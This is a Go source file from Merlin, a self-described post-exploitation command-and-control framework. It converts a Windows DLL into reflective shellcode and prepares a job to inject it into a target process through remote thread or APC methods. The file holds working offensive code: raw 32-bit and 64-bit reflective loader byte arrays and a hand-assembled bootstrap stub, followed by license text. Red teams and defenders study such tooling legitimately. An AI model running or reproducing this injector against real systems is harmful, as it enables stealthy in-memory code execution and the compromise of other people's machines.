/
srdi.go
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/
srdi.go
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/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2022 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see <http://www.gnu.org/licenses/>.
*/
// Additional licenses for external programs and code libraries are at the end of the file
// Moved to the end of the file because it was generating IDE errors with that many lines of comment
package srdi
import (
// Standard
"encoding/base64"
"encoding/binary"
"fmt"
"io/ioutil"
"math"
"os"
"strconv"
"strings"
// Merlin
"github.com/Ne0nd0g/merlin/pkg/modules/shellcode"
)
// Parse is the initial entry point for all extended modules. All validation checks and processing will be performed here
// The function input types are limited to strings and therefore require additional processing
func Parse(options map[string]string) ([]string, error) {
// 1. Check to make sure all of the arguments are there
// 2. Check each argument
// "commands": [{{dll.Value}}", "{{clearHeader.Value}}", "{{function.Value}}", "{{args.Value}}", "{{pid.Value}}", "{{method.Value}}"]
if len(options) != 6 {
return nil, fmt.Errorf("6 arguments were expected, %d were provided", len(options))
}
// Check to make sure DLL file exists at provided path
_, err := os.Stat(options["dll"])
if os.IsNotExist(err) {
return nil, fmt.Errorf("the provided directory does not exist: %s", options["dll"])
}
// Convert clearHeader to bool
clearHeader, errClear := strconv.ParseBool(options["clearHeader"])
if errClear != nil {
return nil, fmt.Errorf("there was an error parsing %s to boolean:\r\n%s", options["clearHeader"], errClear.Error())
}
// Convert PID to integer
if options["pid"] != "" {
_, errPid := strconv.Atoi(options["pid"])
if errPid != nil {
return nil, fmt.Errorf("there was an error converting the PID to an integer:\r\n%s", errPid.Error())
}
}
if strings.ToLower(options["method"]) != "self" && options["pid"] == "" {
return nil, fmt.Errorf("a valid PID must be provided for any method except self")
}
// Verify Method is a valid type
var method string
switch strings.ToLower(options["method"]) {
case "self":
method = "self"
case "remote":
method = "remote"
case "rtlcreateuserthread":
method = "RtlCreateUserThread"
case "userapc":
method = "UserAPC"
default:
return nil, fmt.Errorf("invlaid shellcode execution method: %s", method)
}
// TODO add types as constant or list in shellcode.go
sc, errShellcode := dllToReflectiveShellcode(options["dll"], options["function"], clearHeader, options["args"])
if errShellcode != nil {
return nil, errShellcode
}
b64 := base64.StdEncoding.EncodeToString(sc)
command, errCommand := shellcode.GetJob(method, b64, options["pid"])
if errCommand != nil {
return nil, fmt.Errorf("there was an error getting the shellcode job:\r\n%s", errCommand.Error())
}
return command, nil
}
// dllToReflectiveShellcode will convert an existing Windows DLL to position independent shellcode that contains a reflective loader to load and execute the shellcode in-memory.
// The function code is adapted from the work by Leo Loobeek at:
// https://gist.githubusercontent.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3/raw/05f20bae7aa6cd21e20a52034b9547a19e211c5e/ShellcodeRDI.go
// The work by Leo Loobeek is based on the sRDI project by Nick Landers (@monoxgas) at https://github.com/monoxgas/sRDI/
// The work done by Nick Landers is based on the work by Dan Staples which is based on the work by Stephen Fewer
// The work done by Nick Landers regarding Position Independent Code (PIC) is based on the work by Matthew Graeber
// The work done by Matthew Graeber is based on the work by Alan Turing
// Lastly, invoking the name of the Lee Christensen is used for good luck and pwnage
// dllPath is a the file path, as a string, of the source DLL to convert to reflective shellcode
// functionName is the name of the function to call after DllMain (optional)
// clearHeader will remove the PE header if set to true (optional)
// userDataStr is used to define any arguments that should be called with the injected DLL (optional)
func dllToReflectiveShellcode(dllPath string, functionName string, clearHeader bool, userDataStr string) ([]byte, error) {
// TODO make sure file exists
dllBytes, err := ioutil.ReadFile(dllPath) // #nosec G304 Intended functionality to allow users to specify arbitrary file
if err != nil {
return nil, err
}
var functionHash []byte
if functionName != "" {
hashFunctionUint32 := hashFunctionName(functionName)
functionHash = pack(hashFunctionUint32)
} else {
functionHash = pack(uint32(0x10))
}
flags := 0
if clearHeader {
flags |= 0x1
}
var userData []byte
if userDataStr != "" {
userData = []byte(userDataStr)
} else {
userData = []byte("None")
}
rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 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rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 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0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3}
var shellcodez []byte
if is64BitDLL(dllBytes) {
bootstrapSize := 64
// call next instruction (Pushes next instruction address to stack)
bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
// Set the offset to our DLL from pop result
dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64)
// pop rcx - Capture our current location in memory
bootstrap = append(bootstrap, 0x59)
// mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
bootstrap = append(bootstrap, 0x49, 0x89, 0xc8)
// add rcx, <Offset of the DLL>
bootstrap = append(bootstrap, 0x48, 0x81, 0xc1)
bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
// mov edx, <Hash of function>
bootstrap = append(bootstrap, 0xba)
bootstrap = append(bootstrap, functionHash...)
// Setup the location of our user data
// add r8, <Offset of the DLL> + <Length of DLL>
bootstrap = append(bootstrap, 0x49, 0x81, 0xc0)
userDataLocation := dllOffset + len(dllBytes)
bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
// mov r9d, <Length of User Data>
bootstrap = append(bootstrap, 0x41, 0xb9)
bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
// push rsi - save original value
bootstrap = append(bootstrap, 0x56)
// mov rsi, rsp - store our current stack pointer for later
bootstrap = append(bootstrap, 0x48, 0x89, 0xe6)
// and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0)
// sub rsp, 0x30 - Create some breathing room on the stack
bootstrap = append(bootstrap, 0x48, 0x83, 0xec)
bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
// mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap = append(bootstrap, 0xC7, 0x44, 0x24)
bootstrap = append(bootstrap, 0x20)
bootstrap = append(bootstrap, pack(uint32(flags))...)
// call - Transfer execution to the RDI
bootstrap = append(bootstrap, 0xe8)
bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
// mov rsp, rsi - Reset our original stack pointer
bootstrap = append(bootstrap, 0x48, 0x89, 0xf4)
// pop rsi - Put things back where we left them
bootstrap = append(bootstrap, 0x5e)
// ret - return to caller
bootstrap = append(bootstrap, 0xc3)
shellcodez = append(bootstrap, rdiShellcode64...)
shellcodez = append(shellcodez, dllBytes...)
shellcodez = append(shellcodez, userData...)
} else {
bootstrapSize := 45
// call next instruction (Pushes next instruction address to stack)
bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
// Set the offset to our DLL from pop result
dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32)
// pop ecx - Capture our current location in memory
bootstrap = append(bootstrap, 0x58)
// mov ebx, eax - copy our location in memory to ebx before we start modifying eax
bootstrap = append(bootstrap, 0x89, 0xc3)
// add eax, <Offset to the DLL>
bootstrap = append(bootstrap, 0x05)
bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
// add ebx, <Offset to the DLL> + <Size of DLL>
bootstrap = append(bootstrap, 0x81, 0xc3)
userDataLocation := dllOffset + len(dllBytes)
bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
// push <Flags>
bootstrap = append(bootstrap, 0x68)
bootstrap = append(bootstrap, pack(uint32(flags))...)
// push <Length of User Data>
bootstrap = append(bootstrap, 0x68)
bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
// push ebx
bootstrap = append(bootstrap, 0x53)
// push <hash of function>
bootstrap = append(bootstrap, 0x68)
bootstrap = append(bootstrap, functionHash...)
// push eax
bootstrap = append(bootstrap, 0x50)
// call - Transfer execution to the RDI
bootstrap = append(bootstrap, 0xe8)
bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
// add esp, 0x14 - correct the stack pointer
bootstrap = append(bootstrap, 0x83, 0xc4, 0x14)
// ret - return to caller
bootstrap = append(bootstrap, 0xc3)
shellcodez = append(bootstrap, rdiShellcode32...)
shellcodez = append(shellcodez, dllBytes...)
shellcodez = append(shellcodez, userData...)
}
return shellcodez, nil
}
// pack is a helper function similar to struct.pack from python3
func pack(val uint32) []byte {
bytes := make([]byte, 4)
binary.LittleEndian.PutUint32(bytes, val)
return bytes
}
// hashFunctionName creates a ROR-13 hash of the provided function name
func hashFunctionName(name string) uint32 {
function := []byte(name)
function = append(function, 0x00)
functionHash := uint32(0)
for _, b := range function {
functionHash = ror(functionHash, 13, 32)
functionHash += uint32(b)
}
return functionHash
}
// ROR-13 implementation
func ror(val uint32, rBits uint32, maxBits uint32) uint32 {
exp := uint32(math.Exp2(float64(maxBits))) - 1
return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp)
}
// is64BitDLL will look at the PE header of the provided file, as bytes, to determine if it is a 64bit application
func is64BitDLL(dllBytes []byte) bool {
machineIA64 := uint16(512)
machineAMD64 := uint16(34404)
headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64])
machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2])
// 64 bit
if machine == machineIA64 || machine == machineAMD64 {
return true
}
return false
}
/*
***********************************************************************************************
PIC_BindShell primitives and related works are released under the license below.
***********************************************************************************************
Copyright (c) 2013, Matthew Graeber
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
***********************************************************************************************
Reflective DLL Injection primitives and related works are released under the license below.
***********************************************************************************************
Copyright (c) 2015, Dan Staples
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
***********************************************************************************************
All other works under this project are licensed under GNU GPLv3
***********************************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
